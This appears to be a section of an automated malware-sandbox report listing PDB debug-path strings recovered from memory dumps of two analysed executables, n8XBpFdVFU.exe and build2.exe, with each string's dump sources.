Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1716442270.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1713232631.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1715261612.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\K source: n8XBpFdVFU.exe, 00000004.00000003.2116663063.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2114769171.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbrDX_CONTENT_TASKBARHEADLINES.jsontxt source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\Ap source: n8XBpFdVFU.exe, 00000004.00000003.1801703655.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034758145.0000000003143000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035279729.0000000003162000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035072536.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\on D7MI@az source: n8XBpFdVFU.exe, 00000004.00000003.2122985442.0000000003322000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120007475.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120925394.000000000331B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120700957.000000000330B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\we\ source: n8XBpFdVFU.exe, 00000004.00000003.2035641510.000000000315A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034758145.0000000003143000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035072536.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*\| source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\m source: n8XBpFdVFU.exe, 00000004.00000003.2107229483.0000000009AA7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100679503.0000000009AAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\'"}MaN source: n8XBpFdVFU.exe, 00000004.00000003.2121667319.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120515722.0000000003362000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\5 source: n8XBpFdVFU.exe, 00000004.00000003.2108558652.0000000003323000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113577525.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\q source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\,-tV) source: n8XBpFdVFU.exe, 00000004.00000003.2107669929.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100449175.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099666468.000000000330B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099767996.000000000333B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\r source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\a\\ source: n8XBpFdVFU.exe, 00000004.00000003.2142420963.0000000009B5B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142553306.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2141852209.0000000009B54000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ Interz source: n8XBpFdVFU.exe, 00000004.00000003.1801703655.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034758145.0000000003143000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035279729.0000000003162000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035072536.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\$ source: n8XBpFdVFU.exe, 00000004.00000003.2113856909.000000000343C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124277785.0000000003421000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124074447.000000000341E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121667319.00000000033A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s\ source: n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071182867.0000000009B5C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071336604.0000000009BD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbAppCache133408903214673664.txt010 source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2107669929.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2110021530.0000000009B50000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106306318.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108149637.0000000009B42000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107832891.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\*s source: n8XBpFdVFU.exe, 00000004.00000003.2120007475.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113577525.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2122985442.0000000003312000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120700957.000000000330B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\* source: n8XBpFdVFU.exe, 00000004.00000003.2034905720.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009936503.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115438824.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079799732.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009601986.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060063525.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069492382.000000000316F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069618924.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2143945676.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034533852.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.1801653331.000000000319B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059388456.0000000003171000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2061069326.00000000031A8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099870610.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034116177.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2148629499.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106751267.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070471134.00000000031AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\et source: n8XBpFdVFU.exe, 00000004.00000003.2080925516.0000000009C10000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068574359.0000000009C08000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070633856.0000000009C0F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079966122.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009B5E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078105087.0000000009B69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorJ? source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\he\ source: n8XBpFdVFU.exe, 00000004.00000003.2071512444.0000000009C30000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2058766798.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068574359.0000000009C08000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070633856.0000000009C0F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\y\ source: n8XBpFdVFU.exe, 00000004.00000003.2077905305.0000000009C36000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079313090.0000000009C3D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2080715201.0000000009C3D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009C33000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099449008.0000000009C1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009936503.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009601986.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.1801653331.000000000319B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n8XBpFdVFU.exe, 00000004.00000003.2142623332.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\j source: n8XBpFdVFU.exe, 00000004.00000003.2100486858.0000000009ADE000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100873819.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108308311.0000000009B38000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100754906.0000000009AE5000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106306318.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107832891.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: n8XBpFdVFU.exe, 00000004.00000003.2060990859.000000000315C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059760801.0000000003146000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060209263.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099819744.0000000009BD7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079966122.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009B5E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078105087.0000000009B69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\& source: n8XBpFdVFU.exe, 00000004.00000003.2101887077.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2148373232.00000000030FF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060898935.00000000030FC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107929624.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2109267991.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2129516591.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115238647.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069103439.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059760801.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121612669.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101796621.00000000030F7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099907699.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078426315.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142226856.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142702841.00000000030FF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2141980062.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\n Da~ source: n8XBpFdVFU.exe, 00000004.00000003.2142623332.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\n source: n8XBpFdVFU.exe, 00000004.00000003.2142623332.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2068684614.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2080589086.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078778292.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077342220.0000000003327000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\x\ source: n8XBpFdVFU.exe, 00000004.00000003.2101217385.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2107669929.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1716442270.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1713232631.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1715261612.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\lO source: n8XBpFdVFU.exe, 00000004.00000003.2068684614.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070809171.00000000032C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\` source: n8XBpFdVFU.exe, 00000004.00000003.2124277785.0000000003421000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124074447.000000000341E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121667319.00000000033A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: n8XBpFdVFU.exe, 00000004.00000003.2009936503.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009601986.000000000319E000.00000004.00000020.00020000.00000000.sdmp
